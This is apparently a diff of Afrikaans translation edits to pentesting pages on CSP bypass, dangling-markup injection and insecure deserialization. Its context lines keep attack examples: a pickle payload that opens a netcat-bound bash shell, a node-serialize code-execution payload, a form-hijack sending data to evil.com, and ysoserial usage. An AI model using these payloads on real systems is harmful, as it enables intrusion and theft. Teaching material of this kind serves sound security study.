 Deur te monitor watter versoeke geblokkeer of toegelaat word deur die CSP, kan 'n mens die moontlike karakters in die geheime subdomein beperk, uiteindelik die volle URL onthul.
 
-Albei metodes benut die nuanses van CSP-implementering en gedrag in blaaiers, wat demonstreer hoe blykbaar veilige beleide per ongeluk sensitiewe inligting kan lek.
+Albei metodes benut die nuanses van CSP-implementasie en gedrag in blaaiers, wat demonstreer hoe blykbaar veilige beleide per ongeluk sensitiewe inligting kan lek.
 
 Trick from [**here**](https://ctftime.org/writeup/29310).
 
-## Onveilige Tegnologieë om CSP te Bypass
+## Onveilige Tegnologieë om CSP te omseil
 
 ### PHP Foute wanneer te veel params
 
@@ -610,7 +610,7 @@ Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Bab
 
 ### Herskryf Foutbladsy
 
-Van [**hierdie writeup**](https://blog.ssrf.kr/69) lyk dit of dit moontlik was om 'n CSP-beskerming te omseil deur 'n foutbladsy (potensieel sonder CSP) te laai en sy inhoud te herskryf.
+Van [**hierdie writeup**](https://blog.ssrf.kr/69) blyk dit moontlik te wees om 'n CSP-beskerming te omseil deur 'n foutbladsy (potensieel sonder CSP) te laai en sy inhoud te herskryf.
 ```javascript
 a = window.open("/" + "x".repeat(4100))
 setTimeout(function () {
@@ -674,7 +674,7 @@ Om te verhoed dat dit gebeur, kan die bediener die HTTP-kop stuur:
 X-DNS-Prefetch-Control: off
 ```
 > [!NOTE]
-> Blykbaar werk hierdie tegniek nie in headless browsers (bots) nie
+> Blykbaar werk hierdie tegniek nie in koplose blaaiers (bots) nie
 
 ### WebRTC
 

src/pentesting-web/content-security-policy-csp-bypass/csp-bypass-self-+-unsafe-inline-with-iframes.md

@@ -6,9 +6,9 @@ Verbied die gebruik van enige funksies wat kode uitvoer wat as 'n string oorgedr
 
 Enige inhoud van eksterne bronne word ook geblokkeer, insluitend beelde, CSS, WebSockets, en, veral, JS
 
-### Deur Tekste & Beelde
+### Deur Tekst & Beelde
 
-Dit word waargeneem dat moderne blaaiers beelde en tekste in HTML omskakel om hul vertoning te verbeter (bv. agtergronde instel, sentreer, ens.). Gevolglik, as 'n beeld of tekslêer, soos `favicon.ico` of `robots.txt`, via 'n `iframe` geopen word, word dit as HTML weergegee. Opmerklik is dat hierdie bladsye dikwels CSP-koptekste ontbreek en mag nie X-Frame-Options insluit nie, wat die uitvoering van arbitrêre JavaScript van hulle moontlik maak:
+Dit word waargeneem dat moderne blaaiers beelde en teks in HTML omskakel om hul vertoning te verbeter (bv. agtergronde instel, sentreer, ens.). Gevolglik, as 'n beeld of tekslêer, soos `favicon.ico` of `robots.txt`, via 'n `iframe` geopen word, word dit as HTML gerender. Opmerklik is dat hierdie bladsye dikwels CSP-koptekste ontbreek en mag nie X-Frame-Options insluit nie, wat die uitvoering van arbitrêre JavaScript daaruit moontlik maak:
 ```javascript
 frame = document.createElement("iframe")
 frame.src = "/css/bootstrap.min.css"

src/pentesting-web/dangling-markup-html-scriptless-injection/README.md

@@ -43,11 +43,11 @@ steal me'<b>test</b>
 ```
 Dan sal die vorms wat data na die pad stuur (soos `<form action='update_profile.php'>`) die data na die kwaadwillige domein stuur.
 
-### Steel vorms 2
+### Stealing forms 2
 
 Stel 'n vormkop in: `<form action='http://evil.com/log_steal'>` dit sal die volgende vormkop oorskryf en al die data van die vorm sal na die aanvaller gestuur word.
 
-### Steel vorms 3
+### Stealing forms 3
 
 Die knoppie kan die URL verander waarheen die inligting van die vorm gestuur gaan word met die attribuut "formaction":
 ```html
@@ -61,13 +61,13 @@ Vind 'n [**voorbeeld van hierdie aanval in hierdie skrywe**](https://portswigger
 
 ### Steel duidelike teks geheime 2
 
-Deur die nuutgenoemde tegniek te gebruik om vorms te steel (die invoeging van 'n nuwe vormkop), kan jy dan 'n nuwe invoerveld invoeg:
+Deur die nuutste genoemde tegniek te gebruik om vorms te steel (die invoeging van 'n nuwe vormkop) kan jy dan 'n nuwe invoerveld invoeg:
 ```html
 <input type='hidden' name='review_body' value="
 ```
 en hierdie invoerveld sal al die inhoud tussen sy dubbele aanhalingstekens en die volgende dubbele aanhalingsteken in die HTML bevat. Hierdie aanval meng die "_**Stealing clear text secrets**_" met "_**Stealing forms2**_".
 
-Jy kan dieselfde doen deur 'n vorm en 'n `<option>`-tag in te voeg. Al die data totdat 'n geslote `</option>` gevind word, sal gestuur word:
+Jy kan dieselfde doen deur 'n vorm en 'n `<option>`-tag in te voeg. Alle data totdat 'n geslote `</option>` gevind word, sal gestuur word:
 ```html
 <form action=http://google.com><input type="submit">Click Me</input><select name=xss><option
 ```
@@ -120,7 +120,7 @@ Share this status update with: ← Legitimate optional element of a dialog
 ... function submit_status_update() { ... request.share_with =
 document.getElementById('share_with').value; ... }
 ```
-### Misleidende skrip werkvloei 2 - Skrip naamruimte aanval
+### Misleidende skripwerkvloei 2 - Skripnaamruimte-aanval
 
 Skep veranderlikes binne javascript naamruimte deur HTML-tags in te voeg. Dan sal hierdie veranderlike die vloei van die aansoek beïnvloed:
 ```html
@@ -163,7 +163,7 @@ top.window.location = "https://attacker.com/hacked.html"
 ```
 Dit kan gemitigeer word met iets soos: `sandbox=' allow-scripts allow-top-navigation'`
 
-'n iframe kan ook misbruik word om sensitiewe inligting van 'n ander bladsy te lek **deur die iframe naam attribuut**. Dit is omdat jy 'n iframe kan skep wat homself iframe, wat die HTML-inspuiting misbruik wat maak dat die **sensitiewe inligting binne die iframe naam attribuut verskyn** en dan daardie naam vanaf die aanvanklike iframe kan verkry en lek.
+'n iframe kan ook misbruik word om sensitiewe inligting van 'n ander bladsy te lek **deur die iframe naam attribuut**. Dit is omdat jy 'n iframe kan skep wat homself iframe, wat die HTML-inspuiting misbruik wat die **sensitiewe inligting binne die iframe naam attribuut laat verskyn** en dan daardie naam vanaf die aanvanklike iframe kan toegang verkry en dit kan lek.
 ```html
 <script>
 function cspBypass(win) {
@@ -205,7 +205,7 @@ ss-leaks.md
 
 ## XS-Soek/XS-Lekke
 
-XS-Soek is georiënteer om **cross-origin inligting te exfiltreer** deur **side channel-aanvalle** te misbruik. Daarom is dit 'n ander tegniek as Dangling Markup, maar sommige van die tegnieke misbruik die insluiting van HTML-tags (met en sonder JS-uitvoering), soos [**CSS Invoeging**](../xs-search/#css-injection) of [**Lazy Load Beelde**](../xs-search/#image-lazy-loading)**.**
+XS-Soek is georiënteer om **cross-origin inligting te exfiltreer** deur **side channel aanvalle** te misbruik. Daarom is dit 'n ander tegniek as Dangling Markup, maar sommige van die tegnieke misbruik die insluiting van HTML-tags (met en sonder JS-uitvoering), soos [**CSS Invoeging**](../xs-search/#css-injection) of [**Lazy Load Beelde**](../xs-search/#image-lazy-loading)**.**
 
 {{#ref}}
 ../xs-search/

src/pentesting-web/deserialization/README.md

@@ -4,7 +4,7 @@
 
 ## Basiese Inligting
 
-**Serialisering** word verstaan as die metode om 'n objek in 'n formaat te omskep wat bewaar kan word, met die doel om óf die objek te stoor óf dit as deel van 'n kommunikasieproses oor te dra. Hierdie tegniek word algemeen gebruik om te verseker dat die objek op 'n later tydstip weer geskep kan word, terwyl sy struktuur en toestand behou word.
+**Serialisering** word verstaan as die metode om 'n objek in 'n formaat te omskep wat bewaar kan word, met die doel om die objek te stoor of dit as deel van 'n kommunikasieproses oor te dra. Hierdie tegniek word algemeen gebruik om te verseker dat die objek op 'n later tydstip weer geskep kan word, terwyl sy struktuur en toestand behou word.
 
 **Deserialisering**, aan die ander kant, is die proses wat serialisering teenwerk. Dit behels die neem van data wat in 'n spesifieke formaat gestruktureer is en dit weer in 'n objek te herbou.
 
@@ -94,7 +94,7 @@ Jy kan 'n verduidelikende **PHP voorbeeld hier** lees: [https://www.notsosecure.
 
 ### PHP Deserial + Autoload Klassen
 
-Jy kan die PHP autoload funksionaliteit misbruik om arbitrêre php-lêers en meer te laai:
+Jy kan die PHP autoload-funksionaliteit misbruik om arbitrêre php-lêers en meer te laai:
 
 {{#ref}}
 php-deserialization-+-autoload-classes.md
@@ -134,7 +134,7 @@ Vir meer inligting, lees die volgende pos:
 
 ### **Pickle**
 
-Wanneer die objek ontpiksel word, sal die funksie \_\_\_reduce\_\_\_ uitgevoer word.\
+Wanneer die objek ontpikkel word, sal die funksie \_\_\_reduce\_\_\_ uitgevoer word.\
 Wanneer dit misbruik word, kan die bediener 'n fout teruggee.
 ```python
 import pickle, os, base64
@@ -143,7 +143,7 @@ def __reduce__(self):
 return (os.system,("netcat -c '/bin/bash -i' -l -p 1234 ",))
 print(base64.b64encode(pickle.dumps(P())))
 ```
-Voordat jy die omseiltegniek nagaan, probeer om `print(base64.b64encode(pickle.dumps(P(),2)))` te gebruik om 'n objek te genereer wat versoenbaar is met python2 as jy python3 gebruik.
+Voordat jy die omseil tegniek nagaan, probeer om `print(base64.b64encode(pickle.dumps(P(),2)))` te gebruik om 'n objek te genereer wat versoenbaar is met python2 as jy python3 gebruik.
 
 Vir meer inligting oor ontsnapping uit **pickle jails** kyk:
 
@@ -159,7 +159,7 @@ Die volgende bladsy bied die tegniek om **'n onveilige deserialisering in yamls*
 python-yaml-deserialization.md
 {{#endref}}
 
-### Klass Pollution (Python Prototype Pollution)
+### Klassie Pollusie (Python Prototype Pollusie)
 
 {{#ref}}
 ../../generic-methodologies-and-resources/python/class-pollution-pythons-prototype-pollution.md
@@ -167,10 +167,10 @@ python-yaml-deserialization.md
 
 ## NodeJS
 
-### JS Magic Functions
+### JS Magiese Funksies
 
 JS **het nie "magiese" funksies** soos PHP of Python wat net geskep word om 'n objek te genereer nie. Maar dit het 'n paar **funksies** wat **gereeld gebruik word selfs sonder om hulle direk aan te roep** soos **`toString`**, **`valueOf`**, **`toJSON`**.\
-As jy 'n deserialisering misbruik, kan jy **hierdie funksies kompromitteer om ander kode uit te voer** (potensieel prototype pollutions misbruik) en jy kan willekeurige kode uitvoer wanneer hulle aangeroep word.
+As jy 'n deserialisering misbruik, kan jy **hierdie funksies kompromitteer om ander kode uit te voer** (potensieel prototype pollusies misbruik) en jy kan arbitrêre kode uitvoer wanneer hulle aangeroep word.
 
 Nog 'n **"magiese" manier om 'n funksie aan te roep** sonder om dit direk aan te roep, is deur **'n objek te kompromitteer wat deur 'n async funksie** (belofte) **teruggegee word**. Want, as jy daardie **teruggegee objek** in 'n ander **belofte** met 'n **eienskap** genaamd **"then" van tipe funksie** transformeer, sal dit **uitgevoer** word net omdat dit deur 'n ander belofte teruggegee word. _Volg_ [_**hierdie skakel**_](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/) _vir meer inligting._
 ```javascript
@@ -223,7 +223,7 @@ Die **geserialiseerde objek** sal soos volg lyk:
 ```bash
 {"rce":"_$$ND_FUNC$$_function(){ require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) })}"}
 ```
-Jy kan in die voorbeeld sien dat wanneer 'n funksie geserialiseer word, die `_$$ND_FUNC$$_` vlag by die geserialiseerde objek gevoeg word.
+U kan in die voorbeeld sien dat wanneer 'n funksie geserialiseer word, die `_$$ND_FUNC$$_` vlag by die geserialiseerde objek gevoeg word.
 
 Binne die lêer `node-serialize/lib/serialize.js` kan jy dieselfde vlag vind en hoe die kode dit gebruik.
 
@@ -234,8 +234,8 @@ Binne die lêer `node-serialize/lib/serialize.js` kan jy dieselfde vlag vind en
 Soos jy in die laaste stuk kode kan sien, **as die vlag gevind word** word `eval` gebruik om die funksie te deserialiseer, so basies **word gebruikersinvoer binne die `eval` funksie gebruik**.
 
 Egter, **net om 'n funksie te serialiseer** **sal dit nie uitvoer nie** aangesien dit nodig sou wees dat 'n deel van die kode **`y.rce` aanroep** in ons voorbeeld en dit is hoogs **onwaarskynlik**.\
-In elk geval, jy kan net **die geserialiseerde objek wysig** **deur 'n paar hakies toe te voeg** om die geserialiseerde funksie outomaties uit te voer wanneer die objek gedeserialiseer word.\
-In die volgende stuk kode **let op die laaste hakie** en hoe die `unserialize` funksie outomaties die kode sal uitvoer:
+In elk geval, jy kan net **die geserialiseerde objek wysig** **deur 'n paar hakies by te voeg** om die geserialiseerde funksie outomaties uit te voer wanneer die objek gedeserialiseer word.\
+In die volgende stuk kode **let op die laaste hakie** en hoe die `unserialize` funksie die kode outomaties sal uitvoer:
 ```javascript
 var serialize = require("node-serialize")
 var test = {
@@ -254,9 +254,9 @@ U kan [**hier vind**](https://opsecx.com/index.php/2017/02/08/exploiting-node-js
 
 ### [funcster](https://www.npmjs.com/package/funcster)
 
-'n Opmerklike aspek van **funcster** is die ontoeganklikheid van **standaard ingeboude voorwerpe**; hulle val buite die toeganklike omvang. Hierdie beperking voorkom die uitvoering van kode wat probeer om metodes op ingeboude voorwerpe aan te roep, wat lei tot uitsonderings soos `"ReferenceError: console is not defined"` wanneer opdragte soos `console.log()` of `require(something)` gebruik word.
+'n Opmerklike aspek van **funcster** is die ontoeganklikheid van **standaard ingeboude voorwerpe**; hulle val buite die toeganklike omvang. Hierdie beperking verhoed die uitvoering van kode wat probeer om metodes op ingeboude voorwerpe aan te roep, wat lei tot uitsonderings soos `"ReferenceError: console is not defined"` wanneer opdragte soos `console.log()` of `require(something)` gebruik word.
 
-Ten spyte van hierdie beperking, is dit moontlik om volle toegang tot die globale konteks, insluitend alle standaard ingeboude voorwerpe, te herstel deur 'n spesifieke benadering. Deur die globale konteks direk te benut, kan 'n mens hierdie beperking omseil. Byvoorbeeld, toegang kan hersteld word met die volgende snit:
+Ten spyte van hierdie beperking, is dit moontlik om volle toegang tot die globale konteks, insluitend al standaard ingeboude voorwerpe, te herstel deur 'n spesifieke benadering. Deur die globale konteks direk te benut, kan 'n mens hierdie beperking omseil. Byvoorbeeld, toegang kan hersteld word met die volgende snit:
 ```javascript
 funcster = require("funcster")
 //Serialization
@@ -328,21 +328,21 @@ Gee ekstra aandag aan:
 
 - `XMLDecoder` wat gebruik word met parameters gedefinieer deur eksterne gebruikers.
 - `XStream`'s `fromXML` metode, veral as die XStream weergawe minder as of gelyk aan 1.46 is, aangesien dit kwesbaar is vir serialisering probleme.
-- `ObjectInputStream` gekoppel aan die `readObject` metode.
+- `ObjectInputStream` saam met die `readObject` metode.
 - Implementering van metodes soos `readObject`, `readObjectNodData`, `readResolve`, of `readExternal`.
 - `ObjectInputStream.readUnshared`.
 - Algemene gebruik van `Serializable`.
 
 #### Swart Bok
 
-Vir swart bok toetsing, soek vir spesifieke **handtekeninge of "Magic Bytes"** wat java-serialiseerde objekke aandui (wat afkomstig is van `ObjectInputStream`):
+Vir swart bok toetsing, soek vir spesifieke **handtekeninge of "Magic Bytes"** wat java geserialiseerde voorwerpe aandui (wat afkomstig is van `ObjectInputStream`):
 
 - Heksadesimale patroon: `AC ED 00 05`.
 - Base64 patroon: `rO0`.
-- HTTP antwoordkoppe met `Content-type` ingestel op `application/x-java-serialized-object`.
+- HTTP antwoordkoppe met `Content-type` gestel op `application/x-java-serialized-object`.
 - Heksadesimale patroon wat vorige kompressie aandui: `1F 8B 08 00`.
 - Base64 patroon wat vorige kompressie aandui: `H4sIA`.
-- Weblêers met die `.faces` uitbreiding en die `faces.ViewState` parameter. Om hierdie patrone in 'n webtoepassing te ontdek, moet dit 'n ondersoek uitlok soos gedetailleerd in die [plasing oor Java JSF ViewState Deserialisering](java-jsf-viewstate-.faces-deserialization.md).
+- Web lêers met die `.faces` uitbreiding en die `faces.ViewState` parameter. Om hierdie patrone in 'n webtoepassing te ontdek, moet dit 'n ondersoek uitlok soos gedetailleerd in die [plasing oor Java JSF ViewState Deserialisering](java-jsf-viewstate-.faces-deserialization.md).
 ```
 javax.faces.ViewState=rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAJwdAAML2xvZ2luLnhodG1s
 ```
@@ -359,7 +359,7 @@ grep -R InvokeTransformer .
 ```
 U kan probeer om **al die biblioteke** wat bekend is as kwesbaar te kontroleer en waarvoor [**Ysoserial**](https://github.com/frohoff/ysoserial) 'n ontploffing kan bied. Of u kan die biblioteke nagaan wat op [Java-Deserialization-Cheat-Sheet](https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet#genson-json) aangedui is.\
 U kan ook [**gadgetinspector**](https://github.com/JackOfMostTrades/gadgetinspector) gebruik om moontlike gadget-kettings te soek wat ontplof kan word.\
-Wanneer u **gadgetinspector** (na dit gebou is) uitvoer, moenie omgee oor die ton waarskuwings/foute wat dit deurgaan nie en laat dit klaar maak. Dit sal al die bevindings onder _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ skryf. Let asseblief daarop dat **gadgetinspector nie 'n ontploffing sal skep nie en dit mag vals positiewe aandui**.
+Wanneer u **gadgetinspector** (na dit gebou is) uitvoer, moenie omgee vir die ton waarskuwings/foute wat dit ondergaan nie en laat dit klaar maak. Dit sal al die bevindings onder _gadgetinspector/gadget-results/gadget-chains-year-month-day-hore-min.txt_ skryf. Let asseblief daarop dat **gadgetinspector nie 'n ontploffing sal skep nie en dit mag vals positiewe aandui**.
 
 #### Swartdoos toets
 
@@ -383,7 +383,7 @@ As u 'n java geserialiseerde objek vind wat na 'n webtoepassing gestuur word, **
 
 #### **ysoserial**
 
-Die hoofgereedskap om Java deserializations te ontplof is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**aflaai hier**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). U kan ook oorweeg om [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) te gebruik wat u in staat sal stel om komplekse opdragte (met pype byvoorbeeld) te gebruik.\
+Die hoofgereedskap om Java deserializations te ontplof is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**aflaai hier**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). U kan ook oorweeg om [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) te gebruik wat u in staat sal stel om komplekse opdragte te gebruik (met pype byvoorbeeld).\
 Let daarop dat hierdie gereedskap **gefokus** is op die ontploffing van **`ObjectInputStream`**.\
 Ek sou **begin met die "URLDNS"** payload **voor 'n RCE** payload om te toets of die inspuiting moontlik is. In elk geval, let daarop dat die "URLDNS" payload dalk nie werk nie, maar 'n ander RCE payload mag.
 ```bash
@@ -455,7 +455,7 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
 ```
 #### serialkillerbypassgadgets
 
-Jy kan **gebruik** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **saam met ysoserial om meer exploits te skep**. Meer inligting oor hierdie hulpmiddel in die **slides van die praatjie** waar die hulpmiddel voorgestel is: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
+Jy kan **gebruik** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **saam met ysoserial om meer exploits te skep**. Meer inligting oor hierdie hulpmiddel in die **slides van die praatjie** waar die hulpmiddel aangebied is: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
 
 #### marshalsec
 
@@ -496,7 +496,7 @@ Java gebruik baie serialisering vir verskeie doeleindes soos:
 - **HTTP versoeke**: Serialisering word wyd gebruik in die bestuur van parameters, ViewState, koekies, ens.
 - **RMI (Remote Method Invocation)**: Die Java RMI-protokol, wat heeltemal op serialisering staatmaak, is 'n hoeksteen vir afstandkommunikasie in Java-toepassings.
 - **RMI oor HTTP**: Hierdie metode word algemeen gebruik deur Java-gebaseerde dik kliënt webtoepassings, wat serialisering vir alle objekkommunikasies benut.
-- **JMX (Java Management Extensions)**: JMX benut serialisering om objek te oordra oor die netwerk.
+- **JMX (Java Management Extensions)**: JMX gebruik serialisering om objek te oordra oor die netwerk.
 - **Pasgemaakte Protokolle**: In Java is die standaardpraktyk die oordrag van rou Java-objekte, wat in komende eksploitvoorbeelde demonstreer sal word.
 
 ### Voorkoming
@@ -554,7 +554,7 @@ Dit bied 'n manier om deserialisering dinamies te beveilig, ideaal vir omgewings
 
 Kyk na 'n voorbeeld in [rO0 by Contrast Security](https://github.com/Contrast-Security-OSS/contrast-rO0)
 
-**Implementering van Serialisering Filters**: Java 9 het serialisering filters bekendgestel via die **`ObjectInputFilter`** koppelvlak, wat 'n kragtige mekanisme bied om kriteria spesifiek te maak waaraan serialiseerde objekke moet voldoen voordat hulle gedeserialiseer word. Hierdie filters kan globaal of per stroom toegepas word, wat 'n fyn beheer oor die deserialisering proses bied.
+**Implementering van Serialisering Filters**: Java 9 het serialisering filters bekendgestel via die **`ObjectInputFilter`** koppelvlak, wat 'n kragtige mekanisme bied om kriteria spesifiek te maak waaraan serialiseerde objekte moet voldoen voordat dit gedeserialiseer word. Hierdie filters kan globaal of per stroom toegepas word, wat 'n fyn beheer oor die deserialisering proses bied.
 
 Om serialisering filters te gebruik, kan jy 'n globale filter stel wat op alle deserialisering operasies van toepassing is of dit dinamies vir spesifieke strome konfigureer. Byvoorbeeld:
 ```java
@@ -586,7 +586,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
 - [https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
 - [https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
 - Java en .Net JSON deserialisering **papier:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** praat: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) en skyfies: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
-- Deserialisering CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
+- Deserialiserings CVEs: [https://paper.seebug.org/123/](https://paper.seebug.org/123/)
 
 ## JNDI Inspuiting & log4Shell
 
@@ -610,7 +610,7 @@ Daar is verskeie produkte wat hierdie middleware gebruik om boodskappe te stuur:
 
 ### Ontginning
 
-So, basies is daar 'n **klomp dienste wat JMS op 'n gevaarlike manier gebruik**. Daarom, as jy **genoeg voorregte** het om boodskappe na hierdie dienste te stuur (gewoonlik sal jy geldige akrediteer nodig hê) kan jy in staat wees om **kwaadwillige geserialiseerde objekte te stuur wat deur die verbruiker/abonnee gedeserialiseer sal word**.\
+So, basies is daar 'n **klomp dienste wat JMS op 'n gevaarlike manier gebruik**. Daarom, as jy **genoeg regte** het om boodskappe na hierdie dienste te stuur (gewoonlik sal jy geldige akrediteer nodig hê) kan jy in staat wees om **kwaadwillige geserialiseerde objekte te stuur wat deur die verbruiker/abonnee gedeserialiseer sal word**.\
 Dit beteken dat in hierdie ontginning al die **kliënte wat daardie boodskap gaan gebruik, besmet sal raak**.
 
 Jy moet onthou dat selfs al is 'n diens kwesbaar (omdat dit onveilige deserialisering van gebruikersinvoer doen) jy steeds geldige gadgets moet vind om die kwesbaarheid te ontgin.
@@ -643,15 +643,15 @@ Die soektog moet teiken op die Base64-gecodeerde string **AAEAAAD/////** of enig
 
 ### ysoserial.net
 
-In hierdie geval kan jy die hulpmiddel [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) gebruik om **die deserialisering ontginnings te skep**. Sodra jy die git-repository afgelaai het, moet jy **die hulpmiddel saamstel** met Visual Studio byvoorbeeld.
+In hierdie geval kan jy die hulpmiddel [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) gebruik om **die deserialisering ontginnings te skep**. Sodra jy die git-repo afgelaai het, moet jy **die hulpmiddel saamstel** met Visual Studio byvoorbeeld.
 
-As jy wil leer oor **hoe ysoserial.net sy ontginning skep** kan jy [**hierdie bladsy nagaan waar die ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter verduidelik word**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
+As jy wil leer oor **hoe ysoserial.net sy ontginning skep** kan jy [**hierdie bladsy kyk waar die ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter verduidelik word**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md).
 
 Die hoofopsies van **ysoserial.net** is: **`--gadget`**, **`--formatter`**, **`--output`** en **`--plugin`.**
 
 - **`--gadget`** word gebruik om die gadget aan te dui wat misbruik moet word (gee die klas/funksie wat tydens deserialisering misbruik sal word om opdragte uit te voer).
-- **`--formatter`**, word gebruik om die metode aan te dui om die ontginning te serialiseer (jy moet weet watter biblioteek die agterkant gebruik om die payload te deserialiseer en dieselfde gebruik om dit te serialiseer)
-- **`--output`** word gebruik om aan te dui of jy die ontginning in **raw** of **base64** geënkodeer wil hê. _Let daarop dat **ysoserial.net** die payload sal **kodeer** met **UTF-16LE** (kodeering wat standaard op Windows gebruik word) so as jy die raw kry en dit net van 'n linux-konsol kodeer, kan jy 'n paar **kodeering-kompatibiliteitsprobleme** hê wat die ontginning sal verhinder om behoorlik te werk (in HTB JSON box het die payload in beide UTF-16LE en ASCII gewerk, maar dit beteken nie dat dit altyd sal werk nie)._
+- **`--formatter`**, gebruik om die metode aan te dui om die ontginning te serialiseer (jy moet weet watter biblioteek die agterkant gebruik om die payload te deserialiseer en dieselfde gebruik om dit te serialiseer)
+- **`--output`** word gebruik om aan te dui of jy die ontginning in **raw** of **base64** gegecodeer wil hê. _Let daarop dat **ysoserial.net** die payload sal **kodeer** met **UTF-16LE** (kodeering wat standaard op Windows gebruik word) so as jy die raw kry en dit net van 'n linux-konsol kodeer, kan jy 'n paar **kodeering-kompatibiliteitsprobleme** hê wat die ontginning sal verhinder om behoorlik te werk (in HTB JSON box het die payload in beide UTF-16LE en ASCII gewerk, maar dit beteken nie dat dit altyd sal werk)._
 - **`--plugin`** ysoserial.net ondersteun plugins om **ontginnings vir spesifieke raamwerke** soos ViewState te maak.
 
 #### Meer ysoserial.net parameters
@@ -854,7 +854,7 @@ Kyk hoe dit moontlik kan wees om 'n [Ruby klas te besoedel en dit hier te misbru
 
 ### Ruby _json besoedeling
 
-Wanneer 'n liggaam waardes wat nie hashable is nie, soos 'n lys, ingestuur word, sal dit by 'n nuwe sleutel genaamd `_json` gevoeg word. Dit is egter moontlik vir 'n aanvaller om ook 'n waarde genaamd `_json` in die liggaam in te stel met die arbitrêre waardes wat hy wil. Dan, as die agterkant byvoorbeeld die waarheidsgetrouheid van 'n parameter nagaan, maar dan ook die `_json` parameter gebruik om 'n aksie uit te voer, kan 'n magtiging oorgang uitgevoer word.
+Wanneer 'n liggaam sekere waardes wat nie hashable is nie, soos 'n lys, ingestuur word, sal dit by 'n nuwe sleutel genaamd `_json` gevoeg word. Dit is egter moontlik vir 'n aanvaller om ook 'n waarde genaamd `_json` met die arbitrêre waardes wat hy wil, in die liggaam in te stel. As die agterkant byvoorbeeld die waarheidsgetrouheid van 'n parameter nagaan, maar dan ook die `_json` parameter gebruik om 'n aksie uit te voer, kan 'n magtiging oorgang uitgevoer word.
 
 Kyk meer inligting in die [Ruby _json besoedeling bladsy](ruby-_json-pollution.md).
 
@@ -888,7 +888,7 @@ puts json_payload
 # Sink vulnerable inside the code accepting user input as json_payload
 Oj.load(json_payload)
 ```
-In die geval van die poging om Oj te misbruik, was dit moontlik om 'n gadget klas te vind wat binne sy `hash` funksie `to_s` sal aanroep, wat spesifikasie sal aanroep, wat fetch_path sal aanroep wat dit moontlik gemaak het om 'n ewekansige URL te verkry, wat 'n uitstekende detektor van hierdie soort ongesuiwerde deserialisering kwesbaarhede bied.
+In die geval van die poging om Oj te misbruik, was dit moontlik om 'n gadget klas te vind wat binne sy `hash` funksie `to_s` sal aanroep, wat spec sal aanroep, wat fetch_path sal aanroep wat dit moontlik gemaak het om 'n ewekansige URL op te haal, wat 'n groot detektor van hierdie soort ongesaniteerde deserialisering kwesbaarhede bied.
 ```json
 {
 "^o": "URI::HTTP",
@@ -922,6 +922,6 @@ Boonop is gevind dat met die vorige tegniek 'n gids ook in die stelsel geskep wo
 }
 }
 ```
-Kontroleer vir meer besonderhede in die [**oorspronklike pos**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
+Kyk vir meer besonderhede in die [**oorspronklike pos**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).
 
 {{#include ../../banners/hacktricks-training.md}}

src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md

@@ -18,7 +18,7 @@ Met [**dnSpy**](https://github.com/0xd4d/dnSpy) kan jy die **kode** van die klas
 
 ![](<../../images/image (427).png>)
 
-Soos jy kan sien, wanneer `MethodName` gestel word, word `base.Refresh()` aangeroep, kom ons kyk wat dit doen:
+Soos jy kan waarneem, wanneer `MethodName` gestel word, word `base.Refresh()` aangeroep, kom ons kyk wat dit doen:
 
 ![](<../../images/image (319).png>)
 
@@ -32,7 +32,7 @@ Let daarop dat aan die einde van die kode dit `this.QueryWorke(null)` aanroep. K
 
